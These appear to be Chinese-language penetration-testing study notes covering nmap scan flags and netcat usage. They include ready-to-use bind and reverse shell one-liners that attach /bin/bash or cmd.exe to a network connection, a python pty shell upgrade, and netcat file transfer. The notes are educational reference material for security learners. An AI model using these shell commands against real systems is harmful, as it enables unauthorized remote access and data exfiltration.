信息搜集
nmap
1-存活主机
2-端口扫描
3-防火墙侦测
4-漏洞扫描
5-操作系统
banner:指的是指纹(版本信息、服务器(中间件)信息、开发商信息…)
nmap扫描结果的三种状态:
open(开放)
closed(关闭)
filtered(不确定是否开放)
常用操作指令
基本用法:nmap IP
-Pn:跳过主机存活判断,默认判断存活(推荐)
-sS:SYN扫描(隐匿)
-sV:探测打开的端口以确定服务/版本
-sSV= -sS -sV
-O: 操作系统的判断
-T: 扫描速度的设置(推荐T4)
-p: 指定端口扫描,-p 端口号 | -p- 全端口扫描 | -p0-65535|-p100-1000 | -p 80,445,3389
–script=脚本名
–script=模糊测试的脚本简写的名称
-sC:相当于–script=defaults
-oN: 标准输出
例如:-oN 1.txt
NC(netcat)
常用参数:
-c | -e: 执行命令或者程序,常用于反弹shell
-l:开启监听
-p:设定端口
-z:零输入输出,常用于端口开放检测,(连上立即断开)
-v -vv:详细信息|更详细的信息
-n:仅显示数字的ip地址,不显示DNS信息
创建监听:
nc -lp 指定端口号 监听端口
nc -lvvp 指定端口号 监听端口并显示详细的信息
nc -lnvp 指定端口号 监听端口并显示详细的信息
连接:
nc ip port
端口扫描:
nc -vz IP 端口号[单个端口,端口列表(80-1024)]
反弹shell:
在linux中:
# –> 特权用户(比如说 root)
$ –> 普通用户
linux中默认的编码格式:utf8 占两个字符
windows中默认的编码格式:gbk 占三个字符
windows命令行切换utf8:chcp 65001
windows命令行切换gbk:chcp 936
lsof -i:port 查看指定端口开放情况
netstat -lutpn 查看端口开放情况
正向连接:指服务器主动反弹shell
以linux反弹shell为例:
服务端开启监听
nc -lvvp port -e /bin/bash
客户端连接
nc -v ip port
反向连接:指客户端主动反弹shell
以windows反弹shell为例:
服务端开启监听
nc -lvvp 4444
客户端反弹shell
nc ip port -e “c:\windows\system32\cmd.exe”
linux会话提升:python -c “import pty;pty.spawn(‘/bin/bash’)”
python -c “import pty;pty.spawn(‘/bin/bash’)”
id
用户id=0(root) 组id=0(root) 组=0(root)
文件传输
正向传输:
传输
-q 1 :传输完立马断开,不加就一直卡住
nc -lvvp port < 1.txt -q 1
接收
nc ip port > 2.txt
反向传输:
传输
nc ip port < 1.txt -q 1
接收
nc -lvvp port > 2.txt